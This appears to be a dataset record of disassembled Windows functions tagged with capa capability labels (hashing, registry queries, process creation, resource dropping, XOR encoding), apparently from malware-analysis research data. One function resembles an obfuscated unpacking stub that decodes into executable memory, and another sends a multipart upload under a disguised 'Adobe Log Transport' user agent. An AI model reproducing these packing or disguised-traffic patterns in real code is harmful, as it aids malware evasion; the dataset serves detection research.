joyce8/EMBER2024-capa huggingface dataset:
Function at 0x412e6d
Capabilities:
Hash data with md5

Disassembly:
push 0xa8
mov eax, 0x4378ed
call fcn.00433ea9
mov ebx, ecx
xor ecx, ecx
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 0xb0], ecx
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xa8], ecx
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], ecx
mov byte [ebp - 0x28], cl
lea eax, [ebp - 0xb0]
mov byte [ebp - 4], 2
push 0x68
mov dword [ebp - 0x98], eax
push ecx
lea eax, [ebp - 0x90]
push eax
call dword [sym.imp.MSVCR110.dll_memset]
and dword [ebp - 0x8c], 0
and dword [ebp - 0x90], 0
add esp, 0xc
cmp dword [ebp + 0x1c], 0x10
lea edi, [ebp + 8]
cmovae edi, dword [ebp + 8]
add edi, dword [ebp + 0x18]
cmp dword [ebp + 0x1c], 0x10
lea esi, [ebp + 8]
cmovae esi, dword [ebp + 8]
mov dword [ebp - 0x88], 0x67452301
mov dword [ebp - 0x84], 0xefcdab89
mov dword [ebp - 0x80], 0x98badcfe
mov dword [ebp - 0x7c], 0x10325476
jmp 0x412f2d
mov al, byte [esi]
push 1
lea edx, [ebp - 0x91]
mov byte [ebp - 0x91], al
call fcn.00424f40
pop ecx
inc esi
lea ecx, [ebp - 0x90]
cmp esi, edi
jne 0x412f16
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x98]
push eax
call fcn.00424f40
xor eax, eax
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0xa4]
push eax
mov byte [ebp - 4], 3
push dword [ebp - 0xac]
lea ecx, [ebp - 0x98]
push dword [ebp - 0xb0]
call fcn.00424f40
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0xa4]
and dword [ebx + 0x10], 0
add esp, 0xc
mov dword [ebx + 0x14], 0xf
push dword [ebp - 0x98]
mov byte [ebx], 0
push eax
push ecx
mov ecx, ebx
call fcn.00413303
cmp dword [ebp - 0xa4], 0
mov esi, dword [sym.imp.MSVCR110.dll_void___cdecl_operator_delete_void__]
je 0x412fd5
push dword [ebp - 0xa4]
call esi
xor eax, eax
pop ecx
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], eax
lea ecx, [ebp - 0x28]
call fcn.004023b1
cmp dword [ebp - 0xb0], 0
je 0x413003
push dword [ebp - 0xb0]
call esi
xor eax, eax
pop ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xa8], eax
lea ecx, [ebp + 8]
call fcn.004023b1
mov eax, ebx
call fcn.00433e58
ret
Function at 0x413797
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xf4
mov eax, 0x43796d
call fcn.00433ea9
mov ebx, ecx
cmp dword [ebx], 0
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [ebp - 0x44], eax
jne 0x4137bd
xor al, al
jmp 0x4138a7
and dword [ebp - 0x48], 0
push 0x802
mov dword [ebp - 0x4c], 0x400
call fcn.00424f40
mov dword [esp], 0x802
mov edi, eax
push 0
push edi
call dword [sym.imp.MSVCR110.dll_memset]
add esp, 0xc
cmp dword [esi + 0x14], 8
jb 0x4137f1
mov eax, dword [esi]
jmp 0x4137f3
mov eax, esi
lea ecx, [ebp - 0x4c]
push ecx
push edi
lea ecx, [ebp - 0x48]
push ecx
push 0
push eax
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cdq
test eax, eax
jne 0x413880
test edx, edx
jne 0x413880
xor ebx, ebx
inc ebx
cmp dword [ebp - 0x48], 4
jne 0x413875
mov esi, dword [edi]
push ecx
push ecx
lea ecx, [ebp - 0x100]
call fcn.00413998
and dword [ebp - 4], 0
push esi
lea ecx, [ebp - 0xf0]
call dword [sym.imp.MSVCP110.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int_]
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x100]
call fcn.00424f40
mov ecx, dword [ebp - 0x44]
push eax
call fcn.00424f40
push 0
push ebx
lea ecx, [ebp - 0x28]
call fcn.00424f40
lea ecx, [ebp - 0x98]
call fcn.00413a16
lea ecx, [ebp - 0x98]
call dword [sym.imp.MSVCP110.dll_public_virtual:_void___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void_]
jmp 0x41389d
mov ecx, dword [ebp - 0x44]
push edi
call fcn.00424f40
jmp 0x41389d
push esi
mov edx, str.Query_registry_value_with_key:
lea ecx, [ebp - 0x40]
call fcn.00410b18
pop ecx
push 0
push 1
lea ecx, [ebp - 0x40]
call fcn.00424f40
xor bl, bl
push edi
call dword [sym.imp.MSVCR110.dll_void___cdecl_operator_delete___void__]
pop ecx
mov al, bl
call fcn.00433e58
ret 8
Function at 0x4184e9
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x438689
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x44c054]
xor eax, esp
mov dword [esp + 0x30], eax
push ebx
push esi
push edi
mov eax, dword [0x44c054]
xor eax, esp
push eax
lea eax, [esp + 0x48]
mov dword fs:[0], eax
mov edi, ecx
cmp byte [edi + 0x25], 0
mov esi, dword [ebp + 8]
je 0x418530
mov eax, dword [edi]
call dword [eax + 0x14]
mov edx, esi
lea ecx, [esp + 0x28]
mov byte [edi + 0x25], 1
call fcn.004069bf
and dword [esp + 0x50], 0
mov esi, dword [sym.imp.MSVCR110.dll_wcslen]
and dword [esp + 0x20], 0
xor eax, eax
mov ebx, str.User_Agent:_Adobe_Log_Transport_r_n
push ebx
mov dword [esp + 0x28], 7
mov word [esp + 0x14], ax
call esi
pop ecx
push eax
push ebx
lea ecx, [esp + 0x18]
call fcn.00424f40
mov ebx, str.Content_Type:_multipart_form_data__boundaryxxxxx_r_n
push ebx
mov byte [esp + 0x54], 1
call esi
pop ecx
push eax
push ebx
lea ecx, [esp + 0x18]
call fcn.00424f40
mov ebx, str.Content_Length:_0
push ebx
call esi
pop ecx
push eax
push ebx
lea ecx, [esp + 0x18]
call fcn.00424f40
lea eax, [edi + 0xc]
push eax
lea eax, [edi + 4]
push eax
push 0
push 0
push edi
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x40]
push eax
mov ecx, edi
call fcn.00418158
push 0
push 1
lea ecx, [esp + 0x18]
mov bl, al
mov word [edi + 0x24], 1
call fcn.00424f40
push 0
push 1
lea ecx, [esp + 0x30]
call fcn.00424f40
mov al, bl
mov ecx, dword [esp + 0x48]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x30]
xor ecx, esp
call fcn.0041d508
mov esp, ebp
pop ebp
ret 4

Function at 0x418601
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4386c1
mov eax, dword fs:[0]
push eax
sub esp, 0x40
mov eax, dword [0x44c054]
xor eax, esp
mov dword [esp + 0x38], eax
push ebx
push esi
push edi
mov eax, dword [0x44c054]
xor eax, esp
push eax
lea eax, [esp + 0x50]
mov dword fs:[0], eax
mov esi, ecx
cmp byte [esi + 0x25], 0
mov eax, dword [ebp + 0x10]
mov edi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov dword [esp + 0x14], eax
je 0x418656
mov eax, dword [esi]
call dword [eax + 0x14]
mov eax, dword [esp + 0x14]
mov edx, eax
lea ecx, [esp + 0x30]
mov byte [esi + 0x25], 1
call fcn.004069bf
and dword [esp + 0x58], 0
and dword [esp + 0x28], 0
xor eax, eax
mov dword [esp + 0x2c], 7
mov word [esp + 0x18], ax
lea eax, [esp + 0x18]
push eax
push ebx
push edi
mov byte [esp + 0x64], 1
call fcn.00418019
lea eax, [esi + 0xc]
push eax
lea eax, [esi + 4]
push eax
push 0
push 0
push esi
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x48]
push eax
mov ecx, esi
call fcn.00418158
push 0
push 1
lea ecx, [esp + 0x20]
mov bl, al
mov word [esi + 0x24], 1
call fcn.00424f40
push 0
push 1
lea ecx, [esp + 0x38]
call fcn.00424f40
mov al, bl
mov ecx, dword [esp + 0x50]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x38]
xor ecx, esp
call fcn.0041d508
mov esp, ebp
pop ebp
ret 0xc
Function at 0x41da2d
Capabilities:
Terminate process

Disassembly:
push 0xc
push 0x443180
call fcn.0041da80
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov edx, dword [eax + 4]
mov edi, ebx
mov esi, 0x44df58
mov ecx, edx
xor eax, eax
lock cmpxchg dword [esi], ecx
test eax, eax
je 0x41d900
cmp eax, edx
jne 0x41d8e9
xor esi, esi
inc esi
mov edi, esi
jmp 0x41d903
xor esi, esi
inc esi
cmp dword [0x44df5c], esi
jne 0x41d915
push 0x1f
call sub.MSVCR110.dll__amsg_exit
pop ecx
jmp 0x41d94f
cmp dword [0x44df5c], ebx
jne 0x41d949
mov dword [0x44df5c], esi
push 0x43a57c
push 0x43a568
call sub.MSVCR110.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x41d94f
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x41da27
mov dword [0x44dd34], esi
cmp dword [0x44df5c], esi
jne 0x41d972
push 0x43a564
push 0x43a4fc
call sub.MSVCR110.dll__initterm
pop ecx
pop ecx
mov dword [0x44df5c], 2
test edi, edi
jne 0x41d97f
xor eax, eax
mov ecx, 0x44df58
xchg dword [ecx], eax
cmp dword [0x44df60], 0
je 0x41d9a1
push 0x44df60
call fcn.00424f40
pop ecx
test eax, eax
je 0x41d9a1
push ebx
push 2
push ebx
call dword [0x44df60]
mov ecx, dword [0x44dd40]
mov eax, dword [sym.imp.MSVCR110.dll___initenv]
mov dword [eax], ecx
push dword [0x44dd40]
push dword [0x44dd3c]
push dword [0x44dd38]
call fcn.0040f60f
add esp, 0xc
mov dword [0x44dd30], eax
cmp dword [0x44dd48], 0
jne 0x41da0c
push eax
call dword [sym.imp.MSVCR110.dll_exit]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
push ecx
push eax
call sub.MSVCR110.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x44dd34], 0
jne 0x41da20
call dword [sym.imp.MSVCR110.dll__cexit]
mov eax, dword [0x44dd30]
mov dword [ebp - 4], 0xfffffffe
call fcn.0041dac5
ret
call fcn.00424f40
jmp 0x41d8c8
Function at 0x424f40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x424f4f
pop dword [ebp - 0x40]
mov eax, 0xb8ffd784
sub eax, 0xb8bd8835
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x809d89ac
add dword [ebp - 0x50], 0xcdb4bb9f
mov dword [ebp - 0x4c], 0x26633b8d
add dword [ebp - 0x4c], 0xbd010b8
mov dword [ebp - 0x48], 0xf884bd9
add dword [ebp - 0x48], 0x3cc3f855
mov dword [ebp - 0x44], 0x5c5e3ea7
sub dword [ebp - 0x44], 0x5c5e3ea7
lea eax, [ebp - 0x50]
push eax
mov eax, 0x97ee95ef
add eax, 0x68550ac1
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x2fa69f62
add dword [ebp - 0x50], 0x44cbc9f4
mov dword [ebp - 0x4c], 0x53256f5c
add dword [ebp - 0x4c], 0xee46f219
mov dword [ebp - 0x48], 0x5091ec1c
sub dword [ebp - 0x48], 0xed227fb0
mov dword [ebp - 0x44], 0xce6a6263
add dword [ebp - 0x44], 0x31959d9d
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0xd5669343
add eax, 0x2add0cf5
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x3cb90
push 0
call eax
mov ecx, 0xf2ad7504
add ecx, 0xd52cd04
mov edi, eax
mov ebx, 0x457a00
add ebx, dword [ebp - 0x40]
mov esi, 0xdf24cd36
sub esi, 0xa631c0f4
xor dword [ebp - 0x34], 0xcbe0d083
mov edx, dword [ebx]
sub edx, esi
sub dword [ebp - 0x28], 0x89c19027
mov dword [edi], edx
add dword [ebp - 0x28], 0x8a536a5c
add edi, 0x5db8cf50
sub edi, 0x5db8cf4c
add ebx, 0x13a61f42
sub ebx, 0x13a61f3e
loop 0x42506b
add eax, 0x89dd5269
add eax, 0x7623a88a
mov ebx, eax
add eax, 0x93ed9e07
add eax, 0x6c1261fe
mov ecx, 0x4af02017
add ecx, 0xb54fdfe9
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x431fe0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x435528
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x44c054]
xor eax, esp
mov dword [esp + 0x18], eax
push ebx
push esi
push edi
mov eax, dword [0x44c054]
xor eax, esp
push eax
lea eax, [esp + 0x2c]
mov dword fs:[0], eax
mov esi, ecx
mov ecx, dword [esi]
mov ebx, dword [esp + 0x3c]
mov eax, dword [ecx + 0x13c]
sub eax, dword [ecx + 0x138]
cmp dword [esi + 0x70], eax
jne 0x43208f
mov eax, dword [esi + 0x7c]
sub eax, dword [esi + 0x78]
test eax, 0xfffffffc
je 0x43208f
mov eax, dword [esi + 0x7c]
cmp dword [eax - 4], ebx
jle 0x43208f
mov eax, dword [ecx + 0x14]
test al, 3
jne 0x43204d
test eax, 0x1000000
je 0x43208f
push str.Cant_terminate_a_sub_expression_with_an_alternation_operator_.
lea ecx, [esp + 0x14]
call fcn.00424f40
lea eax, [esp + 0x10]
push eax
mov eax, dword [esi + 0x5c]
sub eax, dword [esi + 0x54]
mov ecx, esi
push eax
push 0x11
mov dword [esp + 0x40], 0
call fcn.00429a30
cmp dword [esp + 0x24], 0x10
jb 0x43208b
push dword [esp + 0x10]
call sub.MSVCR110.dll_void___cdecl_operator_delete_void__
add esp, 4
xor al, al
jmp 0x4320fe
mov eax, dword [esi + 0x7c]
sub eax, dword [esi + 0x78]
test eax, 0xfffffffc
je 0x4320fc
lea esp, [esp]
mov eax, dword [esi + 0x7c]
mov edi, dword [eax - 4]
cmp edi, ebx
jle 0x4320fc
cmp dword [esi + 0x78], eax
je 0x4320b5
add eax, 0xfffffffc
mov dword [esi + 0x7c], eax
mov edx, dword [esi]
mov ecx, dword [edx + 0x13c]
sub ecx, dword [edx + 0x138]
add ecx, 3
and ecx, 0xfffffffc
add ecx, dword [edx + 0x138]
mov dword [edx + 0x13c], ecx
mov eax, dword [esi]
mov ecx, dword [eax + 0x13c]
sub ecx, dword [eax + 0x138]
mov eax, dword [eax + 0x138]
sub ecx, edi
mov dword [eax + edi + 8], ecx
mov eax, dword [esi + 0x7c]
sub eax, dword [esi + 0x78]
test eax, 0xfffffffc
jne 0x4320a0
mov al, 1
mov ecx, dword [esp + 0x2c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x18]
xor ecx, esp
call fcn.0041d508
add esp, 0x28
ret 4
Function at 0x406850
Capabilities:
Create process on windows

Disassembly:
enter 0x8d8, 0
push ebx
push ecx
push edx
mov esi, dword [ebp + 0xc]
lea edi, [ebp - 0x10c]
call fcn.00401940
mov esi, dword [ebp + 8]
lea edi, [ebp - 0x20c]
call fcn.00401940
mov eax, 0
mov dword [ebp - 0x5d6], eax
mov eax, 0
mov ecx, pe_nt_image_headers32
lea edi, [ebp - 0x460]
jecxz 0x406892
rep stosb byte es:[edi], al
lea ebx, [ebp - 0x6d8]
push ebx
lea eax, [ebp - 0x10c]
push eax
call fcn.00406b60
lea edi, [ebp - 0x10c]
lea esi, [ebp - 0x6d8]
call fcn.00401940
mov eax, esi
push eax
lea ebx, [ebp - 0x20c]
push ebx
call fcn.00406b60
lea edi, [ebp - 0x20c]
lea esi, [ebp - 0x6d8]
call fcn.00401940
push 0x41645f
lea eax, [ebp - 0x10c]
push eax
call fcn.00404e80
test eax, eax
jne 0x40691c
cmp byte [ebp - 0x10b], 0x5c
je 0x40691c
mov esi, 0x4164a8
lea edi, [ebp - 0x6d8]
call fcn.00401b30
lea esi, [ebp - 0x10c]
call fcn.00401af0
mov edi, esi
lea esi, [ebp - 0x6d8]
call fcn.00401940
lea esi, [ebp - 0x10c]
lea edi, [ebp - 0x8d8]
call fcn.00401b30
mov esi, 0x416461
call fcn.00401af0
mov esi, edi
lea edi, [ebp - 0x7d8]
call fcn.00401b30
lea esi, [ebp - 0x20c]
call fcn.00401af0
mov esi, edi
lea edi, [ebp - 0x6d8]
call fcn.00401b30
mov esi, 0x416463
call fcn.00401af0
lea edi, [ebp - 0x360]
lea esi, [ebp - 0x6d8]
call fcn.00401940
lea eax, [ebp - 0x250]
push eax
push 0x44
call fcn.00406b40
mov dword [ebp - 0x250], 0x44
mov dword [ebp - 0x464], 0x103
lea eax, [ebp - 0x260]
push eax
lea ebx, [ebp - 0x250]
push ebx
push 0
push 0
push 0x220
push 1
push 0
push 0
lea ecx, [ebp - 0x35f]
push ecx
push 0
call sub.kernel32.dll_CreateProcessA
test al, al
jne 0x406a3a
mov esi, 0x416465
lea edi, [ebp - 0x7d8]
call fcn.00401b30
lea esi, [ebp - 0x360]
call fcn.00401af0
mov esi, edi
lea edi, [ebp - 0x6d8]
call fcn.00401b30
mov esi, 0x41646b
call fcn.00401af0
lea edi, [ebp - 0x460]
lea esi, [ebp - 0x6d8]
call fcn.00401940
push dword [0x4164a4]
push 0x41646d
lea eax, [ebp - 0x45f]
push eax
push 0
call sub.user32.dll_MessageBoxA
mov ebx, 0
mov dword [ebp - 0xc], ebx
push 0
call sub.user32.dll_PostQuitMessage
push 0
call fcn.00403170
push 0x64
call sub.kernel32.dll_Sleep
lea eax, [ebp - 0x464]
push eax
push dword [ebp - 0x260]
call sub.kernel32.dll_GetExitCodeProcess
test al, al
jne 0x406b04
inc dword [ebp - 0x5d6]
push 0
call sub.kernel32.dll_SetLastError
push 0x41974c
push 0x12
push 0x416485
push 0
call fcn.00402d20
lea eax, [ebp - 0x5e4]
push eax
push dword [ebp - 0x260]
call fcn.00401b50
lea ebx, [ebp - 0x5e4]
push ebx
push 0
call fcn.00402790
push 7
push 0x416497
push 0
call fcn.00402d20
lea eax, [ebp - 0x5f4]
push eax
call sub.kernel32.dll_GetLastError
push eax
call fcn.00401b50
lea eax, [ebp - 0x5f4]
push eax
push 0
call fcn.00402790
push 6
push 0x41649e
push 0
call fcn.00402d20
push dword [ebp - 0x5d6]
push 0
call fcn.00403d20
call fcn.00402d00
push 0
call sub.kernel32.dll_SetLastError
cmp dword [ebp - 0x5d6], 1
jle 0x406b04
mov eax, 0
mov dword [ebp - 0x464], eax
cmp dword [ebp - 0x464], 0x103
je 0x406a3a
push dword [ebp - 0x260]
call sub.kernel32.dll_CloseHandle
push dword [ebp - 0x25c]
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 0x464]
pop edx
pop ecx
pop ebx
leave
ret 8
Function at 0x40d460
Capabilities:
Create process on windows

Disassembly:
enter 0x560, 0
push ebx
push ecx
push edx
mov esi, dword [ebp + 0xc]
lea edi, [ebp - 0x108]
call fcn.00401940
mov esi, dword [ebp + 8]
lea edi, [ebp - 0x208]
call fcn.00401940
lea eax, [ebp - 0x360]
push eax
lea ebx, [ebp - 0x108]
push ebx
call fcn.00406b60
lea edi, [ebp - 0x108]
lea esi, [ebp - 0x360]
call fcn.00401940
mov eax, esi
push eax
lea ebx, [ebp - 0x208]
push ebx
call fcn.00406b60
lea edi, [ebp - 0x208]
lea esi, [ebp - 0x360]
call fcn.00401940
lea eax, [ebp - 0x250]
push eax
push 0x44
call fcn.00406b40
mov dword [ebp - 0x250], 0x44
mov dword [ebp - 0x20c], 0x417a60
lea esi, [ebp - 0x108]
lea edi, [ebp - 0x560]
call fcn.00401b30
mov esi, 0x417a46
call fcn.00401af0
mov esi, edi
lea edi, [ebp - 0x460]
call fcn.00401b30
lea esi, [ebp - 0x208]
call fcn.00401af0
mov esi, edi
lea edi, [ebp - 0x360]
call fcn.00401b30
mov esi, 0x417a48
call fcn.00401af0
mov edi, 0x417a5f
lea esi, [ebp - 0x360]
call fcn.00401940
lea eax, [ebp - 0x260]
push eax
lea ebx, [ebp - 0x250]
push ebx
push 0
push 0
push 0x220
push 0
push 0
push 0
push 0x417a60
push 0
call sub.kernel32.dll_CreateProcessA
test al, al
jne 0x40d59d
cmp dword [0x42e9e7], 1
jg 0x40d58d
push 0
push 0x417a4a
push dword [ebp - 0x20c]
push 0
call sub.user32.dll_MessageBoxA
cmp dword [0x42e9e7], 0
jne 0x40d59d
push 0
call fcn.00403170
pop edx
pop ecx
pop ebx
leave
ret 8
Function at 0x40f220
Capabilities:
Create process on windows

Disassembly:
enter 0x814, 0
push ebx
push ecx
push edx
mov esi, dword [ebp + 0xc]
lea edi, [ebp - 0x10c]
call fcn.00401940
lea edi, [ebp - 0x314]
mov esi, 0x418100
call fcn.00401940
mov eax, 0
mov dword [ebp - 0xc], eax
mov eax, 0
mov ecx, pe_nt_image_headers32
lea edi, [ebp - 0x20c]
jecxz 0x40f261
rep stosb byte es:[edi], al
mov esi, 0x418102
lea edi, [ebp - 0x714]
call fcn.00401b30
lea esi, [ebp - 0x10c]
call fcn.00401af0
mov esi, edi
lea edi, [ebp - 0x614]
call fcn.00401b30
mov esi, 0x41810d
call fcn.00401af0
mov esi, edi
lea edi, [ebp - 0x514]
call fcn.00401b30
lea eax, [ebp - 0x814]
push eax
push dword [ebp + 8]
call fcn.00402fd0
lea esi, [ebp - 0x814]
lea edi, [ebp - 0x514]
call fcn.00401af0
mov esi, edi
lea edi, [ebp - 0x414]
call fcn.00401b30
mov esi, 0x41810f
call fcn.00401af0
lea edi, [ebp - 0x20c]
lea esi, [ebp - 0x414]
call fcn.00401940
mov eax, 0
mov ecx, 0x44
mov edi, 0x43294f
jecxz 0x40f2fb
rep stosb byte es:[edi], al
mov eax, 0
mov ecx, 0x10
mov edi, 0x43293f
jecxz 0x40f30e
rep stosb byte es:[edi], al
mov dword [0x43294f], 0x44
mov dword [ebp - 0x210], 0x103
push 0
call sub.kernel32.dll_SetLastError
call fcn.00402770
test eax, eax
je 0x40f332
call fcn.004087d0
test al, al
je 0x40f34b
mov al, byte [0x415e31]
test al, al
je 0x40f349
jmp 0x40f45c
jmp 0x40f332
push 1
push 0x64
call sub.kernel32.dll_SleepEx
call fcn.004087d0
test al, al
je 0x40f36d
mov al, byte [0x415e31]
test al, al
je 0x40f36b
jmp 0x40f45c
jmp 0x40f354
push 1
push 0x64
call sub.kernel32.dll_SleepEx
push 0x43293f
push 0x43294f
push 0
push 0
push 0x4000020
push 1
push 0
push 0
lea eax, [ebp - 0x20b]
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test al, al
jne 0x40f3c2
push 0
push 0x418111
push 0x41812f
push 0
call sub.user32.dll_MessageBoxA
push 0
call sub.user32.dll_PostQuitMessage
push 0
call fcn.00403170
call fcn.004087d0
test al, al
je 0x40f3cd
jmp 0x40f3c2
push 1
push 0x64
call sub.kernel32.dll_SleepEx
call fcn.004087d0
test al, al
je 0x40f3e1
jmp 0x40f3d6
push 1
push 0xa
call sub.kernel32.dll_SleepEx
call sub.kernel32.dll_GetLastError
mov dword [ebp - 0x214], eax
push 0x1388
push dword [0x43293f]
call sub.user32.dll_WaitForInputIdle
mov dword [ebp - 0x214], eax
push 0x64
call sub.kernel32.dll_Sleep
lea eax, [ebp - 0x210]
push eax
push dword [0x43293f]
call sub.kernel32.dll_GetExitCodeProcess
test al, al
jne 0x40f428
cmp dword [ebp - 0x210], 0x103
je 0x40f40b
push dword [0x43293f]
call sub.kernel32.dll_CloseHandle
push dword [0x432943]
call sub.kernel32.dll_CloseHandle
cmp dword [ebp - 0x210], 0
jbe 0x40f45c
mov eax, dword [ebp - 0x210]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
pop edx
pop ecx
pop ebx
leave
ret 8
Function at 0x4023c0
Capabilities:
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x402868
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov eax, dword [esp + 0x18]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
test esi, esi
je 0x402439
mov edx, dword [esp + 0x20]
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 4]
push 0
push ecx
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x18]
mov dword [esp + 0x10], 0xffffffff
call fcn.00402600
mov al, 1
pop esi
mov ecx, dword [esp + 4]
mov dword fs:[0], ecx
add esp, 0x10
ret
lea ecx, [esp + 0x18]
mov dword [esp + 0x10], 0xffffffff
call fcn.00402600
mov ecx, dword [esp + 8]
xor al, al
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x402460
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x402890
push eax
mov dword fs:[0], esp
push ebx
push ebp
push esi
push edi
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0x28]
and ecx, 0xffff
push eax
push ecx
push 0
mov dword [esp + 0x24], 1
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x402509
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push 0
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
je 0x402509
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
je 0x402509
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, ebx
mov esi, eax
mov edx, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebx
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
push ecx
lea eax, [esp + 0x2c]
mov ecx, esp
mov dword [esp + 0x30], esp
push eax
call sub.MFC42.DLL_CString::CString
call fcn.004023c0
add esp, 0xc
test al, al
push ebp
jne 0x40253d
call dword [sym.imp.KERNEL32.dll_GlobalFree]
lea ecx, [esp + 0x20]
mov byte [esp + 0x18], 0
call fcn.00402600
lea ecx, [esp + 0x28]
mov dword [esp + 0x18], 0xffffffff
call fcn.00402600
xor al, al
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
call dword [sym.imp.KERNEL32.dll_GlobalFree]
lea ecx, [esp + 0x20]
mov byte [esp + 0x18], 0
call fcn.00402600
lea ecx, [esp + 0x28]
mov dword [esp + 0x18], 0xffffffff
call fcn.00402600
mov ecx, dword [esp + 0x10]
pop edi
pop esi
pop ebp
mov al, 1
mov dword fs:[0], ecx
pop ebx
add esp, 0xc
ret

Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c